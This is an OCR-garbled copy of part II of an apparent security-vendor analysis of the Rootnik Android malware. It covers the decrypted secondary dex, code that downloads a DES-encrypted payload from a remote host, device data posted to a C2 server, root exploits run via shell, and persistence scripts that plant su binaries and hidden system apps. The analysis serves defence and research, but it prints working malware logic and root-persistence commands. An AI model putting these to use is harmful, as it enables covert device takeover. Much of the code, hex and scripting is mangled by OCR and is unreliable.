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decrypt.dump (@
Edit As: Hex Run Script Run Template
o 1 = 7

0000h:
ooton: R TR 00 63 echM. . .
0020h: E 65 73 : -

0030h:
0040h: .
0050h: ) B 3D g8 .0,
0060R: |B 7F DE ] F B Oiw. 0=
0070h: :

0080h:
0090h:
00RON:
00BOh:
00COh:
00DOh:
00EOh:
00FOh:
0100h:
0110h:
0120h:
0130h:
0140h:
0150h:
0160h:
0170h:
0180h:
0190h:
01A0h:
01BEOh:
01COh:
01D0h:
01EOh:
01F0Oh:

-

Start: 0 [0h] Sel: 608830 [94A3Eh] | Size: 6UBE0 ]

In part | of this blog we finished the analysis of the native layer and got the decrypted
secondary dex file. Here in part Il we will continue to analyze it. For the sake of continuity, we
will maintain continuous section and figure numbers from part | of the blog.

IV. The secondary dex file

The following is the decrypted file, which is a jar format file. It is loaded dynamically as the
secondary dex via multidex scheme.

1/49


https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java
https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer

decrypt.dump (&

¥  EditAs:Hex ™

0000h:

0010h:

0020h:

0030h:

0040h:

0050h:

0060h:

0070h:
0080h:
0090h:
00AOR:
00EOh:
00COh:
00D0h:
00EOQh:
00F0Oh:
0100h:
0110h:
0120h:
0130h:
0140h:
0150h:
0160h:
0170h:
0180h:
0190h:
01A0R:
01E0Oh:
01COh:
01D0h:
01EQh:
01F0h:

4

Run Script =

5

Run Template *

=

Start: 0 [Oh]

-

Sel: 608230 [94A3Eh] | Size: 60BE30 ]

Figure 25. The decrypted secondary apk file containing the dex file

After decompressing the file “decrypt.dump,” you can now see a file named “classes.dex”

located in the folder.

» case® » decrypt

Mame

D classes.dex

Next, let's analyze the classes.dex.

e

1452 KB DEXFile
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Figure 27. Decompile the secondary dex file and AndroidManifest.xml file

From above figure, we can see that classes.dex is the main logic of the malware app named
“file Helper”

The following is the function “onCreate” in class com.sd.clip.activity. FileManagerActivity.

protected wvoid onCreate (En
super.onCreate (arg2) ;
this.com sec plugin action APF STRARTED RISK():
this.setContentView (2130903043);
this.initView()
this.addListensrs();
thig.initzData();

ile arg2) {

Figure 28. The function onCreate in class FileManagerActivity

private woid Iinitadv{:l {
Hws.getStart({{{Cocntext) this));

Figure 29. The function initadv()
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package com.hg.mer;

import android.
import android.cor
import android.content.Intent;

public class Nws extends BrcadcastReceiver |
public Nwa{) |
super():
}

public static woid getStart({Context argld) {
arg2.startService {new Intent({arg?, PG.class)):

H

public woid onReceiwve (Context arg3, Intent argd) [

FI‘gS.EIEB.I‘EEEI"VlCE lnew lntenti{args, te.olass)) .'I

1

Figure 30. The class Nws

The function getStart in class Nws is then used to start the service com.hg.mer.PG. The
following is the definition of class PG.

package com.hg.mer;

import android.app.In
import android
import androcid
import da

public class PG extends Intent3ervice |
private static DexClassLoader classLoader;
public static Context kobs:

public BG(} |
super(""):
}

public woid onCreate({) [
super.onCreate() ;

1. [Eis.readnex (((concewc)this)): |

EG.kobs = ((Context)this);

W

SOLUCEPECA (], IU1l, CNis.QeCLIl2SSL0A0ET(1): 7/ Fl3.0l=xdc |

if (vO.exista()) {
v0.delete();
}
}

protected void onHandleIntent (Intent arg7?) |
try_{
4, Class w0 = PG.classLoader.loadClass(Pls.PL); // Fls.Fl=com.svg.cvo.Roow
v0.getMethod (P15.Jr, Context.class).invoke (v0.newInstance(), PG.kobs) :| {f Pls.Jr=getDex

}
catch (Exception vl) {
}

}

Figure 31. The service class com.hg.mer.PG

After the function startService() is invoked, the function onCreate() is then invoked, followed
by invoking the function onHandlelntent(). In the above figure, we marked four lines of the
key code in red, and then analyzed them in order.

1. readDex()

The following is the snippet code in function readDex().
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public static wvoid readDex(Context argl3) |
DataInput3tream wd;
String v9; // EK.bin, Sheu class is a base6d class
InputStream v10 = null;
DataInputStream v3 = null;
BufferedfutputStream vl = null;
Pla.L5B.clear{):
try {

v9 = new String(Sheu.decode ("50su¥mlu"}): // EK.bin, Sheu class is a basefd class

goto label 10;
}
catch(Throwable w12} {
}
catch(Exception w3) {
goto label 43;
try {
label 10:
|v10 = argli.getfssets () .open(vd); |
vd = new DatalnputStream(vl0):

}

catch (Throwable wl2) |
goto label &1;

}

catch (Excepticn w3) |
goto label 43;

}

try |

FFr.teadlong () ;

v4.readlong () »

vd.readDouble () ;

vd.readFloat ()

vi.read (new byte[vi.readInt()]):
vi.readInt();

String vll:

for{vll = v2.readline(}); v11 != null; v1l = w2.readline({}) |
Fls.LSB.add (v1l}:

}

Elzs.gethppid():

BufferedReader v2 = new BufferedReader (new InputStreamBeader ({{InputStream)v4)});

Figure 32. The function readDex()

Based on my analysis, the class Sheu is a base64 implementation class, so the result of
Sheu.decode("SO0suYmIu") is the string “KK.bin”. Next, the program opens the file KK.bin in

its assets folder and reads its content to extract some useful info.

The following is the file content of KK.bin:

decrypt.dump © KK.bin (8

Edit As: Hex = Run Script = Run Template =

0 1 2 3 : 3 L5}

i
(s
L

0000h: 00 00 00 00 00 00 1D 4D 00 00 00 00 00 00 15 F8
0010n: 40 91 R4 99 99 99 99 9A 44 63 8F B3
0020h: OF FE OD 32 F3 05 B4 10 68 €B ED ED 03 96 A2 93
0030n: 2C 07 D7 OE 80 C3 09 70 CF 2E 4A SA 3E 17 AR AR
0040n: F2 AS 34 F6 4A 87 B8A FO 06 48 EB CD A6 B3 67 1B
0050n: 19 SA F1 BD 82 7F E8 FO 59 €4 F5 3D B9 31 B4 E9

1CCOh:

1CDOh:

1CEOh: 67 75 61
1CFOh: 39 74 4C
1D00h: 52 76 €4 77
1D10h: 0D OA 63 32
1D20h: 70 &8
1D30h: oD o

@'ﬁmﬁD{:.’

¥p.26." .hkii.-¢™
,.x.€h pi.gz>. 20
a4#T+58 . 08T 2.
LEZf, L ABYdB=21"é

DTE <§7.8]1fE}RUg
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Figure 33. The file KK.bin in folder assets

The program could extract some content from the end of the KK.bin file. There are seven
strings there encoded using base64 that are stored in an array list. The function getAppid() is
then used to decode these strings.

pubklic static wvoid getRppid() {

try |
Pla.Kbin = new String({sheu.decode (Fla.LSE.get{0))]:
Fl3.0I = new String({Sheu.deccde (FPls.LSB.get{l))):
Fl3.FL = new String({Sheu.deccde (Pls.LSB.get{2))):
Fla.Jr = new String({Sheu.deccde (Pls.LSB.get{3))):
Fls.Wv = new 3 ng {Sheu.decode (Pls.L5B.get(4) ) ) :
Fls.As = new String(Sheu.deccde (Fls.LEE.get(3))) -
Fls.NJ = new String(Sheu.deccde (Fls.LSE.get(6))) -

}

catch (Exception v0) |

vi.printStackTrace () ;

}

Figure 34. The function getAppid()

The result of decoding these seven strings is shown below:
Pls.Kbin: wddex.jar

PIs.Ol: xdt

Pls.PL: com.svq.cvo.Rtow

Pls.Jr: getDex

Pls.Wv: sgdex

Pls.As: dos.jar

PIs.NQ: KK.bin
2 .dxfile()

The following is the code snippet of the function dxfile().
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public static File dxfile({Context argl3, String argld) |

File v5 = new File{argl3.getDir(Fls.¥v, 0}, Pla.As); // /data/data/com.web.adfile/app agdex/dos.jar

if{!v5.exists(})) |
try |
String v9 = argl3.getFilesDir().toString();
if(!'v9.endsWith(File.separator)) [
w9 = String.valuelf({v9) + File.separator;

File w10 = new File(String.valueOf(v9) + argld); // /data/data/com.web.sdfile/files/wddex.jar

if(!'wvl0.exists()) |
Pls.UnZipFolder (argl3, argld):

FileInput3itream v2 = new FileInputStream(vl0): // /data/data/com.web.sdfile/files/wddex.]jar
FileQutputStream w7 = new FileQutputStream({vd)r; // /data/data/com.web.sdfile/app sgdex/dos.jar
pec{Pla.sri.getBytes())):

SecretEey w8 = SecretKeyFactoryv.getInatance ("DES").generateSecret (new [ESEeyS

Cipher v& = Cipher.getInstance ("DES");

vE.init(2, ((Eev)wE)):

Pla.deQut {{ (Input3tream)w2), new CipherfutputStream{({CutputStream)v7), v6)):
}
catch (Excepticn v3) |

v3.printStackTrace():

5 = null;

return v5;

Figure 35. The function dxfile()

public static wold UnZipFolder{Cocntext arglé4, String arglbd) {

BufferedfutputStream w2;

byte[] v3;

DatalnputStream vo;

InputStream v9; // EK.bin

Datalnputitream v4 = null;

Bufferedfutpuctitream vl = null;

try |
w9 argldi.gethssets () .open(PFls.NQ); // EK.bin
v5 = new DatalnputStream{va);
goto label B8;

}
catch(Throwable w10} |
}
catch(Excepticn v&) |
goto label 53;
try {
label &:
v5.readlong () ;
vh.readlong () »
w5.readDouble () ;
vo.readFloat();
int v7 = vh.readInt():

File w8 = new File(String.valueOf (argld.getFilesDir({) .getPath{)) + File.separator + argls);

if(vE.exista()) |
vE.delete();

}
if{!'wB.exista() || wE&.length{) '= ({{(long)v7))) |
vi = new byte[v7];
vi.createlewFile() ;
vZ2 = new BufferedlutputScream(new FileCutputStream({va)):
goto label 487
}
else |

vh.read (new byte[v7]):
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Figure 36. The function UnZipFolder()

The function Pls.UnZipFolder() extracts the encrypted content from KK.bin. The content
starts at offset 0x20 and ends at offset Ox1CDB in the file KK.bin, and then is saved as
/data/data/com.web.sdfile/files/wddex.jar. Its content is encrypted using the DES algorithm.

In the function dxfile() the program decrypts the file contents of
/data/data/com.web.sdfile/files/wddex.jar to file /data/data/com.web.sdfile/app_sgdex/dos.jar.

3 .DexClassLoader()

Its constructor is shown below:

DexClassLoader

DexClassloader (String dexPath,
String optimizedDirectory,
String librarySearchPath,
Classloader parent)

In this invocation, the value of dexPath is “/data/data/com.web.sdfile/app_sgdex/dos.jar,” and
the value of optimizedDirectory is “/data/data/com.web.sdfile/app_xdt.”

This function loads classes from the .jar and .apk files containing a classes.dex entry. This
function can be used to execute code not installed as part of an application. The optimized
dex files are written in the file dos.dex in the folder data/data/com.web.sdfile/app_xdt.

After loading classes from /data/data/com.web.sdfile/app_sgdex/dos.jar, the program deletes
this file.

4. Invoke getDex() method in class com.svq.cvo.Rtow dynamically.

Next, let's examine dos.dex.

72 dos.dex
£} Source code
E- 3 com
- F kdw.xoa
G Bow
@ Dwal
@ Mgss
@ Qose
=-HF nvko ideo
@ BuildConfig
wOr
=3 sva.cvo
@ KMain
=@ rtow

i o pre : SharedPreferences

W = tDex (Context)

Figure 37. Decompile the dex file dos.dex
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The following is the function getDex in class com.svqg.cvo.Rtow:

package com.3vg.cvo;

import androcid.content.Context;

import android.content.SharedPreferences:
import com. kdw.xoca.Bow;

import com.kdw.xoca.Dwol;

public class Rtow |
private SharedPreferences pre;

public Btow() {

super();
}
public woid getDex({Context argh) {
this.pre = argd.getSharedPreferences (Bow.sName, 0); // Bow.sName="za"
if(!Boclean.valuedf (this.pre.getBoolean{"root", false)) .booleanValue()) {
Inew Dwol {argS, Bow.Y¥tse): J/ 3cw.¥tsc="http:ffgt.:cgscb.ccm!stmpfad.png"I
}

Figure 38. The function getDex in class com.svg.cvo.Rtow

public Dwel (Context argS, String argé) |
super();
this.dovnloadUrl = argé;
this.cxt = args;
Ehis.dexfale = new File(this.cxt.getFilesDir(), Bow.fName), // DBow.IName="mda.ico” |
if(this.dexFile.exists()) |
if(this.dexFile.isFile()) !
try {
new ZipFile(this.dexFile):

}
catch (Exception wl) {
}
}
else |
this.dexFile.delete();
}

1

if(this.dexFile.exists()) |
this.initData();
return;

1

try |
| this.daxflle.createNewFilE{J:|
}
catch({ICExcepticon w0) {
vO.printStackTrace ()

1

Ithis.dnwnloadFile{this.deinle, this.downloadlUrl); // this.dcwnlcadU:l="http:!!gt.:cgscb.ccm}stmpfad.png"l

}
Figure 39. The constructor of class Dwol

In the constructor of class com.kdw.xoa.Dwol, a new file mda.ico is created in folder
/data/data/com.web.sdfileffiles/. It then invokes the function downloadFile to download a
payload from remote server http://gt[.Jrogsob[.]Jcom/stmp/ad.png, and saves it as
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/data/data/com.web.sdfile/files/mda.ico. The payload is encrypted using the DES algorithm.

public wvoid downloadFile(File argl(, String argll) |
byte[] vl;
int w7;

try |
w0 =|this.requestUr1{arg111j
w3 = new BufferedfutputStream{new FilefutputStream{arglO)):
w7 8192;

try {
while (true) |
label_3:
int v& = wO.read(vl, 0, 81%2);:
if(ve <= 0) {

break;
}
{(CutputStream)v3) .write(vl, 0, v&);
}
{{CutputStream) v3) .cloge():
v0.close();
Lthis.inithata{); |

!

Figure 40. The function downloadFile

private woid initData(} {
try {
| this.silentInstall (Bow.Mron, null); // Bow.Mron="com.rootdex.Mainfctivicy™ |
1
catch (Exception w0) |
vi.printStackTrace () :

1

Figure 41. The function initData()

The following is the definition of the function silentinstall.
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Jppresshint (value={"NewApi"}) private 5tring silentInstall({String argl%, String arg20) {
String v9 = null;
File v12 = new File(this.cxt.getFilesDir() + File.separator + Bow.fName):; // Bow.fName="mda.ico™
if{wvl2.exista()) [
if{vl2.isFile{}} [
try {
new ZipFile(v12);
}
catch (Excepcion v13) {
}

}
a. IFile v1ll = Dwol.dxfile (this.cxt); // The decrypted payload is saved as ,-'data,-’:lata,-'c‘.c:m.\:eb.a:l:'ile,-'app_snex,-’dkt.ja:‘I
if{vll == mull &s (v12.exists({))) {
vl2.delete();
}
try o
b. INgss.upZipFile (v11, this.cxt.getFilesDir({) + File.separator): // decompress the decrypted payload dkt.jar to ,'data,-':‘lata;':cm‘\\‘eb.3:‘1:‘115;’:‘11&3I
}

catch (I0Exception v5) [
v5.printStackTrace();

}

catch (ZipException +5_1) {
v5_l.printStackIrace();

}

c. vll.delete(): // delete /data/data/com.web.sdfile/app snex/dkt.jar
vll.getParentFile().delete(); // delete directory /data/data/com.web.sdfile/app_snex/
wi2.delete(}; // delete Sdata/data/com.web.sdfile/files/mda.ico
String v2 = this.cxt.getFilesDir().toString();

File w10 = new File(vd, BDW.CNETBJ: 77 Bow.dName="Classcs.dex

d. File w4 = new File(wv2, Bow.Dsdex); // Bow.Dsdex="wsh.jar"

if(!vl0.renameTo(v4)) {

return v3:

}

if(!'vd.exists()) {
return v9;

}

Dwol.chmod (v4.getibsolutePathi) )

String v& = this.cxt.getDir(Bow.oDex, 0).getdbsclutePath(): // Bow.oDex="outdex"”

Dol chmod (81 s

e-l DexClaszloader v3 = new DexClassloader(vé.getAbsolutePath({), vE, null, this.cxt.getClassLoader()): I

vd.delete() s

new File (v8, Bow.dName).delete(): // Bow.dName="clasases.dex"

new File (vE).delete():

try {

Clasa v1 = v3.loadClass (Bow.Mrom); // Bow.Mron="com.rocotdex.MainRctivity™

f. Method ve = v7.getMethod (Bow.gtDex, Context.class, String.class, String.eclass); // Bow.gtDex="getDex"

v&.sethccessible (true);

v6.invoke (v7.newInstance (), this.cxt, arg20, this.cxt.getFilesDir() + File.separator): // invoke the function getDex in class com.rootdex.Mainlctivity.

Figure 42. The function silentinstall
The five parts marked in red in order are explained below.

1. The function dxfile of class Dwol is used to decrypt the payload
/data/data/com.web.sdfile/files/mda.ico. The decrypted payload is saved as
/data/data/com.web.sdfile/app_snex/dkt.jar.

2. The function upZipFile of class Ngss is used to decompress the decrypted payload
dkt.jar into the folder /data/data/com.web.sdfile/files/. It contains the following files:
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|| abc.apk 468 KB  APK File

|| busybox 453 KB File
| classes.dex 22KB  DEX File
| 7 install-recovery.sh 1KB SHFile
| | obs.apk 19KB  APK File
|:] prg.ico S0KB  lcon
[ su 33KB  File
[ su2 35KB File

Figure 43. The payload files

1. After decompressing, it deletes the files /data/data/com.web.sdfile/app_snex/dkt.jar and

/data/data/com.web.sdfile/files/mda.ico, and deletes the directory
/data/data/com.web.sdfile/app_snex/.

2. Renames the file classes.dex to wsh.jar in folder /data/data/com.web.sdfile/files/.

3. Dynamically loads classes from /data/data/com.web.sdfile/files/wsh.jar, and the
optimized directory app_outdex stores the dex cache file as wsh.dex.

4. Invokes the function getDex in class com.rootdex.MainActivity.

Next, we will look deep into the wsh.dex, which mainly executes the root tool to root the
device and install the application in the system app folder.

72 wsh.dex
-8 Source code
B H3 com
= rootdex
G BuildCanfig
- MTKRoot
(& MainActivity
- o filelist : Arraylist
- @ GetActve(Context) : void
- @ deanRootDatal) : void
- @ copyRootTool{Context) : Boolean
- @ fetchChannel{Context) : String

- @ getURLResponse(String) @ String
- @ getimei(Context) : String
- @ isTablet(Context) : boolean
- B isWifi{Context) : boolzan
- @ onDestroy() : void
=@ r
=4 rootdexi,utils

- @ Fileuti

G InputStreamltils

G MyConst

G ObfuseTableBasea4

w=-@ shellut

Figure 44. The decomple the dex file wsh.dex

The following is the definition of the function getDex of class com.rootdex.MainActivity.

12/49



public wveoid getDex({Co g argsd, String argf) {
if{'new File("/syst ).exists() ss& 'new File("/system/priv-app/abc.apk").exists() z& 'new File("/system/app/BSeting.apk").exists() sz

= '
d. [EEis.Gethctive zrad]
b, if({this.copyRootTool {argd).boocleanValue ()N [

C. [ nev MTKRcot (argd) .xun(); |
}

this.cleanRootData () 7

1

Figure 45. The function getDex in class com.rootdex.MainActivity

1. The function GetActive is used to collect device information and send it to the remote
server. The URL of remote server is http://grs[.Jgowdsy[.Jcom:8092/active.do . The
following is a capture of the traffic:

POST /factive.do?ie=PXrkC3GKPA4KE3PXCXd1&ch=jgm1611151828svs=4.4, 2&system=198ua=Nexus_5&pkg=com.web.sdfilefiswifi-truekipad=false HTTP/1.1
User-Agent: Dalvik/1.6.8 (Linux; U; Android 4.4.2; Nexus 5 Build/KOT49H)

Host: grs.gowdsy.com:8892

Connection: Keep-Alive

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded

Content-Length: @

HTTP/1.1 2688 0K

Sserver: Apache-Coyote/1.1
Content-Type: text/plain;charset=UTF-8
Content-Length: 1

Date: Wed, 18 Jan 2017 19:20:26 GMT

2]

Figure 46. The traffic of sending collected info to remote server

1. Checks if some files exist in folder /data/data/com.web.sdfile/files/ and adds their file
name into an array list it is preparing for the next step of rooting the device.
2. Executes rooting tools on the device.

Next, the function HandleRoot() is invoked in function run().

private wvoid HandleRoot() |
this.filelist = new Lrraylist():
String vl = String.valueQf(FileUtil.getInstance () .getFilesDirPath(this.mContext)) + File.separator;
1 (ERIS_COPYROSEITE L)) |
[this.executeRootAct (vi) g

}

Figure 47. The function HandleRoot()

The following is a key code snippet of the function copyRootFile.
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private boolean copyRootFile(String arg20) {

boolean v10; | create the file files/psmeuter.js
String vl2 = MyConst.REAL ROOT; // sul
5 ng v3 = MyConsc.RealRoat; // suc
this, filelist.add(String.valuelf (arg20) + v3);
boolean v® = this.commonCopyFile(wvl2, +3):
new File{Scring.valuelf(arg2d) + v12).delete();

|File v2 = FileDtil.dxfile(this.mContext); // decyrpt the files/png.ico to app dex/.do |

File vid = new File (arg20, MyConat.Res); f MyConst.Ros =.rtt
if{'vd.exiata ()} {
v mkdiE ()}
}
ey {
Eilelcil un2ip(vd, wi); // decompress the file app dex/.do to foldfer files/ rtt, it contains root tools{chator nis zall
}
if(v2.exista()) {
v2.delete(); J/ delete file a;:g_dex,-‘.:icl
}
vZ.getParentFile() .delete(); // delete the directory app dex.
w3 = MyConsc.ROOT SH; // MyConsc.ROOT_SH =psneuter.)s
this.filelist.add (String.valuelf (arg20) + v3);
String w13 = this.getBootPath{): f nore it
Scring vil = “#1/systes/bin/shiynPATE feystem/biny "\nmount -o rw,remount /system\n" + arg2ld + "“busybox mount - remRount
try |
w10 =|this.createFile(vil, v3): // creste the file filses/ psnsuter.is |

Figure 48. The function copyRootFile

In this function, there are four steps.

1. FileUtil.dxfile() is used to decrypt the file /data/data/com.web.sdfile/files/png.ico and

save it as the file /data/data/com.web.sdfile/app_dex/.do.

2. FileUtil.UnZip() is used to decompress the file /data/data/com.web.sdfile/app_dex/.do
into folder /data/data/com.web.sdfile/.rtt, which is a hidden system folder that contains

six ELF executables, as shown below. It includes four root exploits r1,r2,r3,r4.

/21/2015 1:27 AM File
272015 12:03 AM File

/24/2015T:51 PM File

D chattr
D nis
D rl

LWl LaoLn

D r2 3/24/2015 750 PM File
D r3 3/24/2015 T:50 PM File
D rd 9/14/2014 11:18 &AM File

Figure 49. The root exploit executables

1. It deletes the decrypted root tools /data/data/com.web.sdfile/app_dex/.do and folder

/data/data/com.web.sdfile/app_dex.

10 KB
22 KB
28 KB
14 KB
13 KB
14 KB

14/49



2. It then creates a new file, psneuter.js, in folder /data/data/com.web.sdfile/files/. Its
contents are shown below.

PATH

mount -0 rw,remo

data/data,/com.web. e/files/busybox mount -o rw,remount
data/data/com.web.sdfile/files/.rtt/chattr -i

data /data/com.web. ile/files/.rtt/chattr

cat /data

chmod

data

cat /data
chmod 2 " ing.

data data .web. sc e/ i .rtt/chattr
pm install /syste i Lng.apk
mount -o ro,r =

data/data/com

id

Figure 50. The file psneuter.js

The function hanleOriMiddle is invoked in function executeRootAct. The following are four
code snippets used to execute root exploits via a shell command:

try {
label 164:
vls_1 = String.valuelI(argdd) + Mylonst.Ros + File.separator + "ra' + -c "7
arg24 = ShellUtil.adbshellexecute (String.valueOf{vls 1) + arg23, 30000);
goto label 103r
}
try {
label 189
wlo_1 = siring.vaeluell{argds) + Mylonst.Hos + F1le.separacor + r4 + -G
argé4 = 5helllUtil.adbshellexecute (String.valuelf (v15_1) + argdi, 30000);
gobo label 103;
}
try |
label 133:
w15 _1 = String.wvaluelf{argd2) + MyConst.Ros + File.segparator + "r2" + " -c ";
argl2d = ShellUtil.adbshellexecute (String.valueOf({vl53 1) + arg23, 30000);
goto label 103;
}
try |
label 114:
vla 1 = String.valuell(argdd) + Mylonat.Hos + File.separator + "rl" + ;
arg24 = 5ShellUtil.adbshellexecute (String.valuelf(wl5_ 1) + arg23, 30000);
goto label 103;
}

Figure 51. Execute root exploits via shell command

After investigating these executable files, | found that r3 is the MTK root scheme from the
dashi root tool, the exploits method in r4 comes from one exploit(CVE-2013-6282) of the
open source project android-rooting-tools, and the exploit method in r2 is the CVE-2012-
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6282
https://github.com/android-rooting-tools/android_run_root_shell
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6422

422 which is a root exploit on Samsung Exynos.

The function hanleOriMiddle executes root exploits and some commands via a shell
command. All executed shell commands are shown below:

1 psneuter.js

Figure 52. All commands executed when rooting device

After successfully gaining root access, the script named psneuter.js is executed with super
user privilege. The main purpose of this script is to install root privilege applications in folder
/system/priv-app/.

Later, we will investigate these two new APK files. To avoid being caught by common users,
these two apps have no icons on a victim’s device after being installed.

Additionally, the other script named rsh is then executed via a shell command.

lakel 435:
File wé& = MIERoot.Drsh{arg22):
if(wé.exists({)) {
try {
Shellltil.adbshellexecute ("chmod 777 " + wa, 30000);

ShellUtil.adbshellexecute {3::1::_!.value0f{v1l5:l + v&, 30000);
Figure 53. Execute the script rsh via shell command

The script rsh is different, based on the Build. MANUFACTURER property. The script is
shown below.
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PATH="/system/bin"
-0 remount,rw /system
-o remount rw /system
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/etc/ -recovery.
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/bin/vbs
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/bin/vs
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/.wbr
echo -e "/system/bin/vbs --auto-daemon & ° /system/etc/ -recovery.
755 [system/etc/ -recovery.
/data/data/com.web.sdfile/files/.rtt/nis » /system/bin/vbs
8.8 /system/bin/vbs 6777 /system/bin/vbs
/system/bin/vbs > [system/bin/vs
8.8 /system/bin/vs
6777 /system/bin/vs
-r /system/.vbr
fsystem/.vbr
755 /system/.vbr
/system/bin/ws > [system/.vbr/vs
8.8 /system/.vbr/vs
6777 [system/.vbr/vs
/data/data/com.web.sdfile/files/abc.apk > /system/.vbr/abc.apk
/data/data/com.web.sdfile/files/obs.apk > /system/.vbr/fobs.apk
/data/data/com.web.sdfile/files/.rtt/chattr - /system/.vbr/chattr
777 /system/.vbr/chattr
fsystem/.vbr/chattr +ia /system/etc/ -recovery.
/system/.vbr/chattr +ia /system/bin/vs
/system/.vbr/chattr +ia /system/bin/vbs
/system/bin/vbs --auto-daemon

Figure 54. The script rsh(1)

PATH="/system/bin’
-0 remount,rw /system
-0 remount rw /system
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/etc/ -recovery.
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/bin/.vr/vs
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/bin/.vr
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/bin/vs
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/bin/vbs
/data/data/com.web.sdfile/files/.rtt/chattr -ia /system/.vbr
echo -e '/system/bin/vbs --auto-daemon & ° /system/etc/ -reCcovery.
755 /system/etc/ -recovery. -r [system/bin/.vr
/system/bin/.vr
755 /system/bin/.vr
/data/data/com.web.sdfile/files/.rtt/nis = [system/bin/.vr/vs
@.8 /system/bin/.vr/vs
6777 /system/bin/.vr/vs
/system/bin/vbs /system/bin/vs
-5 [system/bin/.vr/vs /system/bin/vs
-5 [fsystem/bin/.vr/vs /system/bin/vbs
-r [/system/.vbr /system/.vbr 755 /system/.vbr
/system/bin/.vr/vs > /system/.vbr/vs
8.8 /system/.vbr/vs
6777 [system/.vbr/vs
/data/data/com.web.sdfile/files/abc.apk > /system/.vbr/abc.apk
/data/data/com.web.sdfile/files/obs.apk - /system/.vbr/obs.apk
/data/data/com.web.sdfile/files/.rtt/chattr = /system/.vbr/chattr
777 [system/.vbr/chattr
/data/data/com.web.sdfile/files/.rtt/chattr +ia /system/etc/ -recovery.
/data/data/com.web.sdfile/files/.rtt/chattr +ia /system/bin/.vr/vs
/data/data/com.web.sdfile/files/.rtt/chattr +ia /system/bin/.vr
/data/data/com.web.sdfile/files/.rtt/chattr +ia /system/bin/vbs
/data/data/com.web.sdfile/files/.rtt/chattr +ia /system/bin/vs
/system/bin/vbs --auto-daemon

Figure 55. The script rsh(2)

V. How BSetting.apk works




As shown in Figure 50, abc.apk was dropped in the folder /system/priv-app/ and renamed to
BSetting.apk, and BSetting.apk was installed via pm.

BSetting.apk serves as a remote control service, and it fetches tasks from the remote server
and performs them.

This app runs in the background and does not have a launcher icon on the device. The
following is the app information.

(n App info

fﬁ' com.android.sync

version 1.0

Force stop Disable

v Show notifications

STORAGE

Total 656KB

App 480KB
Data 176KB

Clear data

12.00KB

Clear cache

LAUNCH BY DEFAULT
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Figure 55. App info of BSetting.apk

The app disguises itself as an Android sync service. The decompiled structure of the apk file

is shown below:

27 abc.apk

-7 Source code

= @3 com.sfy.oyr
®o

1C) MyApplication
®Or

a a

@b

=@ c

=22 Resources

-] META-INF

i |Z] AndroidManifest, xml
El s assets

. [ jif.png

B png.ico

13 dasses.dex

Figure 56. Decompiled abc.apk

<?xml version="1.0" encoding="uti-Z"2>

<manifest android:wversionCode="1" android:versionName="1.0" package="com.kr.srd" platformBuildVersionCode="21" platformBuildVersionName="5.0.1-1824448"™

<uses-sdk android:minSdkVersiol
<application android:label='
<receiver android:name=
<intent-filter>
<action android:name="zndroid.intent.action.USER_FRESENT™
</intent-filter>
<intent-filter>
<action android:name="zn
</intent-filter>
<intent-filter>
<acticn android:name="zndroid.net.conn.CONNECTIVITY
</intent-filter>
<intent-filter>
<action android:name
<action android:name:
<data android:scheme
</intent-filter>
</receiver>
<service android:name="com.
</application>
<uses-permission android:name=
<uses-permissicn android:name=
<uses-permission android:name
<uses-permissicn android:name
<uses-permission android:name
<uses-permissicn android:name=
<uses-permission android:name
<uses-permissicn android:name
<uses-permission android:name=
</manifest>

e />

oid.intent.action.SCREEN QFF™ />

n.INIERNET™ />
RE ONE_ST.

Figure 57. The AndroidMainfest.xml in abc.apk

The BroadcastReceiver com.sfy.oyr.R performs the main logic of this app.

android:name="com. sfy.ovr.
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package com.siy.oyr;

import andreoid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class R extends BroadcastReceiver [
public R{) {
super();
}
|
public void onBeceiwve {Context arg3, Intent argd) {
String w0 = argd.gethction();
if{!v0.equals{"android.intent.action.BATTERY CHANGED")) [
| D.afarg3}: // invodk doSo{) in class com.android.sync.ADBoot. |
if{'.vO.equals{"andraid.1ntent.action.FACl’&GmALl“J & !v0.equals("android.intent.action.PACKAGE ADDED")) {
Largs.startoervice{new Intentlargd, D.class))y 7 start service 1, and It invores the method g-etjex in _class c;c:z.a-ﬂ-»m4.5-,r:1c~,.=3_.e:v1c‘.e|

return;

}

|D.a{arg4.ger.Dat,aString{J.su.bsr.ring{BJ, arg3d); // invoke getBDex in class ccm.a:l:l:ci:l.33,-':10.3.33(:(:1:"

}

Figure 58. The class R

The program first decrypts jif.png in the folder assets. It's a dex file, and the program uses
java reflection to load class and invoke some methods.

We decompiled the decrypted dex file, as shown below:

2] dasses.dex
= Source code
=3 com
=3 android
= §3 moc
. @3 Buidconfig
-1 F3 svnc
(2 ADBoot
-8 ADService
[E
[

F-A& NetworkTool
{2 ObfuseTableBases4
- @ main
=4 rootdex
(@ MTKRoot
- RTool
=3 rootdexi.utils
- @ FileUti
G InputStreamtils
G MLog
G MyConst
- @ shelluti

Figure 59. Decompile classes.dex

The function launchTancTask in class ADService is used to fetch tasks from the remote
server and perform them.

20/49



private woid launchTancTask() {

this.networkTool = new NetworkToel (this.cxt);

this.redid = null;

this.bmid = null;

thiz.adPFkg = null;

this. taskid = null;

this.dovnleoadtype = null;

this.task = null;

| byte[] v2 = this.networkTool.fetchTask(): |

if (v2 == null) |
this.upgradeKey (this.editorlM, new Cb sct[]{ADService.K NEXT TIME TANC, Long.wvaluelf(System.currentTimeMillis({) + 3600000)1);
return;

Figure 60. Fetching a task from the remote server

The traffic from fetching the task is shown below. The remote server has two domains. One
